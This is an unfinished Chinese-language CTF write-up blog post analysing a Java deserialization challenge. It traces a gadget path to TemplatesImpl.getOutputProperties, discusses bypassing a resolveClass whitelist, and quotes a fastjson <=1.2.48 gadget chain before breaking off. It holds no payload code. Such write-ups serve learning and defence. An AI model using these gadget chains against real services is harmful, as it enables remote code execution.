两个路由,一个是根目录,输出hello,ctfer,另一个/ez_Ref会获取data并把它反序列化,还要满足

if (name.equals("Ref") && year == 2025)

我们继续看到ctfer类,ctfer类里面重写了toString方法,通过调用templatesImpl类的.getOutputProperties()方法

image-20251120154357258

这个就是一些cc链反序列化的终点,也就是可以执行代码的方法。

只是我们发现这里的readObject类里面嵌套了一层waf。

image-20251120155040180

所以继续跟进看到这个类,就是一个白名单绕过。这个白名单resolveClass

image-20251120160040243

然后wp说要分析依赖,发现并不存在其它依赖可以构造新链子绕过调用ctfer#toString方法进行调用,就是绕过waf

不能新链子,那就绕过白名单

因为要绕过,所有首先我们先把waf拿过来,还原一下

image-20251120163401796

然后就是构造链子绕过了

首先需要一些前置知识

Java 反序列化绕过 resolvClass | DummyKitty’s Blog

在 fastjson <= 1.2.48 版本中,存在这样的一个 gadget:通过触发 JSONArray 和 JSONObject 这两个类的 toString 方法来调用任意的 getter 方法,由于该版本下,JSONArray 和 JSONObject 并没有 readObject 方法,因此需要通过 BadAttributeValueExpException 来触发 toString,具体的利用链如下:

BadAttributeValueExpException -> JSONArray/JSONObject.toString -> toJSONString -> TemplateImpl.getOutputProperties

算了这里确实有些难以理解,先放放

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计